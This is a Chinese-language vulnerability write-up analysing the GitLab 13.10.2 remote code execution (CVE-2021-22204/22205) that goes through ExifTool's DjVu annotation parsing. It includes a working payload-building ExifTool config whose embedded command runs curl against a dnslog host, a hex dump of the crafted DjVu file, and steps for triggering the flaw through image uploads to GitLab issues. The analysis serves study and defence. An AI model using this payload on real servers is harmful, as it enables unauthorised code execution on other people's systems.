Gitlab 13.10.2 Remote Code Execution漏洞分析(CVE-2021-22204、CVE-2021-22205)

这个漏洞其实影响也挺广的,虽然是需要授权,但其实在公网上暴露的很多gitlab都是开放注册的,其实也基本等于给了授权。除此之外,获取CSRF_TOKEN后也可以触发。这个漏洞本质不是gitlab的代码问题,而是gitlab在文件处理时的逻辑,引用了第三方exiftool组件导致在解析时出现问题,从而引起的任意文件执行。

总结一下: gitab中的gitlab-horse会根据上传文件的标识符来判断文件类型,不同类型有着不同的处理逻辑,对于图片类的文件,会去调用exiftool组件来清除图片文件的元数据,而exiftool组件在处理Djvu格式文件的时候,存在缺陷,可以透过构造恶意的元数据造成双引号逃逸,从而执行任意指令。

gitlab 数据传递逻辑

首先我们去下载个受影响版本的gitlab,https://github.com/gitlabhq/gitlabhq/tree/v13.10.2。官网对于gitlab-workhorse的描述可以见下图所示。可以看到,最前端nginx会将请求代理给gitlab-workhorse,按官方的说法,gitlab-workhorse用于处理负载量较大的HTTP请求,例如文件的上传下载、git操作等。

gitlab_workhorse_architecture_simplified

在gitlab-workhorse的文档中描述了,其安装时依赖ExifTool,用于擦除元数据。

gitlab-workhorse-exiftool

我们来看一下程序里面实现的逻辑。首先会去判断上传的文件类型,如果是exif文件的话,会去调用handleExifUpload函数进行元数据清理。handleExifUpload中会去调用NewCleaner-->cleaner,最终执行exiftool指令进行数据清除。

判断是否是exif文件 exif文件判断逻辑jpg/jpeg/tiff 调用NewCleaner进行元数据清除 cleaner执行exiftool指令进行元数据清除

在清理之前,会去判断元数据的tag是否存在,清除掉敏感元数据保留允许的tags。可以看到最终通过exif_tags方法触发了exiftool对于文件元数据tag的解析,从而造成漏洞利用。

清除tags 触发tags解析

exiftool漏洞详情

上面我们介绍了gitlab-workhorse的处理逻辑,接下来我们来看exiftool部分的逻辑。ExifTool是由Phil Harvey开发的一个跨平台元数据处理软件,由perl语言编写而成,支持大量的不同格式的数据,包括图像、音频、视频、pdf等等,详见exiftool官网。这个漏洞是利用的exiftool低版本的一个RCE漏洞,而在gitlab-workhorse中的操作指南提到,推荐使用apt install libimage-exiftool-perl进行安装,而默认源中的版本较低,存在漏洞。

default_install_package

exiftool简介

exiftool的整体逻辑还是比较清晰的。如下图,为其代码的整体结构图,因为是perl语言编写的,看起来还是比较容易的。入口文件为exiftool,lib文件夹中存放了处理不同文件格式对应的逻辑代码,以文件类型名+.pm为结尾。t文件夹中是各种文件类型的样例,方便将其作为基础进行使用。
exiftool_introductoin
exiftool_parse_example

1
2
3
4
5
6
7
8
9
10
11
12
[常见使用方法]
# 查看文件所有元数据
exiftool example.jpg
# 插入元数据值到文件
exiftool -key=value example.png
# 清除某个tag
exiftool -key= example.png
# 清除所有tag
exiftool -all= example.png

exiftool DjVu RCE利用

这个漏洞在DjVu格式文件的处理逻辑中。我们首先来了解下DjVu是什么。djvu在过去主要用于存储扫描的文档,如电子书等,其相对于PDF并不普及,其对二进制图像有损压缩,从而以较小的控件存放高质量的可读图像。可以找一个例子看下,使用exiftool xxxx.djvu来查看解析djvu元数据。好像并看不出来什么,都是格式化后的kv形式。我们来看DjVu.pm文件。可以看到函数ProcessAnt用于检查判断是否存在注释性语句,/\(\s*(metadata|xmp)[\s("]/ 其格式应该是匹配这样的正则表达式。ParseAnt是一个递归调用的函数,用于从(xxx)的注释性数据中,解析出kv的内容。

DjVu解析结果 processAnt parseAnt模块

为了验证我们的猜想,我们将$dataPt输出出来,如下图,可以看到metdata如我们分析的一样,是以(kv kv)的形式存储的。其中value的值用"双引号包裹。

metadata数据格式

知道格式了,我们来说下这个漏洞。很明显,罪恶之源eval又出现了。在上面的代码中,会通过$来匹配文件末尾,但如果字符串是多行字符串时,只会匹配到第一行末尾,而重新构造一个新行和新引号时,会将第二个引号进行毕业从而逃逸出来,第二个引号后的内容便可以直接被执行。qq的意思是将其作为双引号字符串来输出。
parseAnt_eval_tok

因此,当我们可以构造一个带有恶意元数据的DjVu文件时,将其用exiftool解析即可触发漏洞。为了构造DjVu格式,我们可以根据官方提供的DjVu文档来进行修改构造,文档见djvu_document。大致简单介绍下,DjVu主要是用于存储电子书,所以其存储的内容基于和我们现在看到的pdf类似。其由单页或多页组成,并可以保存注释信息、隐藏文字信息以及缩略图。不同的层/块(chink)用于保存不同的信息,例如DIRM块存储目录信息,ANTz块存储注释信息。FORM块表示是一个合成块,包含有多个其他的块。

不同类型的文档有着不同的块,比如单页文档在一个FORM:DJVU块中,而多页文档用FORM:DJVM标识,且其内部的第一个块是文档块DIRM。注释信息在ANTa或者ANTz块中,原文信息在TXTa或者TXTz块当中,其余的不做过多介绍,可以参考文档查询。

可以看到,前4字节是magic标识,用于标识是djvu文件。之后就是chunk_data,每个chunk_data由3部分组成,chunk_id,length以及具体的data

DjVu文件格式 chunk样式

那么现在我们根据已知的信息来构造恶意文件,我们知道构造的payload在metadata中,也就是注释块中,我们使用明文ANTa块更便于我们生成payload,但要注意ANTz也是可以的,其结果是使用BZZ encoder进行压缩后的内容。我们首先根据t/image/DjVu.djvu来进行修改,修改一个正常的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> xxd DjVu_base.djvu [ec6d7de]
00000000: 4154 2654 464f 524d 0000 00d5 444a 564d AT&TFORM....DJVM
00000010: 4449 524d 0000 002f 8100 0200 0000 4800 DIRM.../......H.
00000020: 0000 aeff ffde bf99 2021 c895 c8df 7074 ........ !....pt
00000030: fa80 cdde 63c5 ed3c ee1f a274 9fe8 f530 ....c..<...t...0
00000040: 5ef8 baae 15f4 9c00 464f 524d 0000 005e ^.......FORM...^
00000050: 444a 5655 494e 464f 0000 000a 0008 0008 DJVUINFO........
00000060: 1800 6400 1600 494e 434c 0000 000f 7368 ..d...INCL....sh
00000070: 6172 6564 5f61 6e6e 6f2e 6966 6600 4247 ared_anno.iff.BG
00000080: 3434 0000 0011 004a 0102 0008 0008 8ae6 44.....J........
00000090: e1b1 37d9 7f2a 8900 4247 3434 0000 0004 ..7..*..BG44....
000000a0: 010f f99f 4247 3434 0000 0002 020a 464f ....BG44......FO
000000b0: 524d 0000 02ec 444a 5649 414e 5461 0000 RM....DJVIANTa..
000000c0: 001f 286d 6574 6164 6174 610a 0928 4175 ..(metadata..(Au
000000d0: 7468 6f72 2022 656d 7074 795f 786c 2229 thor "empty_xl")
000000e0: 29 )
DjVu_ANTa_exmple

看来我们理解的没错,接下来我们试着去插入恶意payload,可以看到已经执行了指令。

DjVu_ANTa_curl_dnslog

其他模块解析

#AIFF
之前提到的漏洞点在DjVu模块的处理逻辑中,一些复杂的文件格式一般都会支持内置各种其他的文件格式,那么是否有其他模块调用了该模块的解析函数?我们对整个目录进行搜索,可以看到了AIFF模块中调用了DjVu模块。而AIFF解析数据时会去判断数据格式是否为DjVu,如果是解析对应的数据。因此在AIFF中插入DjVu数据再去解析也可以触发漏洞。

AIFF_djvu_main processAIFF

#Extractinfo
除了直接在代码中写了去调用DjVu模块,在exiftool.pm中有Extractinfo函数,其会根据不同的magicNumber头去判断文件所属类型,从而调用不同的$module.pm来进行解析。因此,如果我们上传的文件能够触发Extractinfo函数并通过构造AT&T头让其解析为DjVu格式进而调用DjVu.pm的处理函数,造成漏洞利用。

magicNumber 根据不同文件类型加载对应module处理函数 判断文件类型

因此我们的目标就是搜索其他什么类型的文件处理逻辑中调用了Extractinfo来解析内容,且解析的方式应该是递归式的根据文件每个块的类型进行解析。根据搜索结果,应该有9个类型解析时会触发调用Extractinfo字段,包括Cannon/CaptureOne/Exif/MPF/PDF/PGF/Rawzor/Samsung/ZIP

search_Extractinfo

我们点进去看,每个处理逻辑其实是需要一定的触发条件的,利用exif类型需要使用特定的TAG,PDF需要使用特定的filter等等。

Exif_extract PDF_extract

#Exif
这里我们看下Exif.pm的处理逻辑,其是用于Read EXIF/TIFF meta informationEXIF格式我不太熟悉,而TIFF我们知道是一个位图格式,应该跟我们以前的文章image文件格式解析分析jpg、png时差不多。这里TIFF格式解析参考这篇文章TIFF 文件格式以及样例t/image/exiftool.tif基本可以弄的差不多。因此,如果我们构造一个0xc51b的块,然后将其数据填充为带恶意payload的Djvu内容就可以触发利用。

比较方便的是,exiftool有一个自定义配置并按照配置生成文件的功能,非常有用。我们随便从网上下载一个tiff文件作为base,然后将我们构造的恶意数据插入进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
%Image::ExifTool::UserDefined = (
'Image::ExifTool::Exif::Main' => {
0xc51b => {
Name => 'cons_exif',
Binary => 1,
Writable => 'undef',
WriteGroup => 'IFD0',
ValueConvInv => sub {
my $meta = qq/(metadata\x0A\x09(Author "\\\x0A" .qx{curl 1zritd.dnslog.cn} ;#")\x0A)/;
my $len = qq/\x00\x00\x00\x39/;
my $payload = qq/AT&TFORM\x00\x00\x00\x45DJVUANTa$len$meta/;
return $payload;
}
}
}
)
../exiftool -config cons_exif.configtiff_base.tif -cons_exif='empty_xl'
tiff_exec

其他文件格式的触发方式也类似,在此不再赘述,基本方法就是分析一下文件格式,然后按特定的方式插入payload构造恶意文件,最终触发漏洞。

Gitlab POC

分析完了原理,我们来实际进行验证一下在gitlab中的利用。如我们之前分析的,gitlab只会将jpg/jpeg/tiff后缀的文件传入exiftool进行tag清理,那么按我们的理解,我们只要任意找到一个上传点,上传的文件后缀改成jpg/jpeg/tiff3者之一就可以触发。值得注意的是,尽管这个漏洞需要后台权限,但是很多对公网开放的gitlab网站都支持注册机制,因此鉴权的逻辑基本等于没有。

我们来试一下,我们随便开一个new issue然后进行上传,可以看到已经利用成功。

issue_upload gitlab_exp_dns_record

当我们对原有图片进行修改时,会调用PUT方法,可以看到也可以成功。

put_replace

当然,tiff类型的文件上传,依旧可以触发成功。

gitlab_exp_tiff